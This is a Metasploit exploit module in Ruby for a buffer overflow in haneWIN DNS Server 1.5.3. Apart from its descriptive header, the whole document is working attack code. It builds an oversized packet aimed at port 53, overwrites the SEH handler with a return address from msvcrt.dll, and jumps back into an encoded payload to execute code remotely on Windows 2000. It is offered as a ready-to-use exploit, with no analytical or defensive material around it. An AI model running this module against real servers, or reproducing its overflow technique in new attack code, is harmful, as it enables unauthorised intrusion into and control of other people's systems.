haneWIN DNS Server 1.5.3 Buffer Overflow

`require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'haneWIN DNS Server Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow vulnerability found in  
haneWIN DNS Server <= 1.5.3. The vulnerability is triggered  
by sending an overly long packet to the victim server. A memcpy  
function blindly copies user supplied data to a fixed size buffer  
leading to remote code execution.   
  
This module was tested against haneWIN DNS 1.5.3  
},  
'Author' => [ 'james fitts' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EDB', '31260' ],  
[ 'OSVDB', '102773' ]  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'DisableNops' => true,  
'BadChars' => "\x00\x0a\x0d\x20",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'Platform' => 'win',  
'DefaultTarget' => 0,  
'Targets' =>  
[  
[  
'Windows 2000 SP4 EN / haneWIN DNS 1.5.3',  
{  
# msvcrt.dll v6.10.9844.0  
# pop esi/ pop edi/ retn  
'Ret' => 0x78010394,  
}  
]  
],  
'DisclosureDate' => 'Jul 27 2013'))  
  
register_options([Opt::RPORT(53)], self.class)  
end  
  
def exploit  
connect  
  
p = make_nops(32) + payload.encoded  
  
buf = Rex::Text.pattern_create(5000)  
buf[0, 2] = [0x4e20].pack('n') # length for malloc  
buf[1332, p.length] = p  
buf[2324, 8] = generate_seh_record(target.ret)  
buf[2332, 15] = make_nops(10) + "\xe9\x13\xfc\xff\xff" # jmp $-1000   
  
print_status("Sending malicious request...")  
sock.put(buf)  
disconnect  
  
end  
end  
  
  
`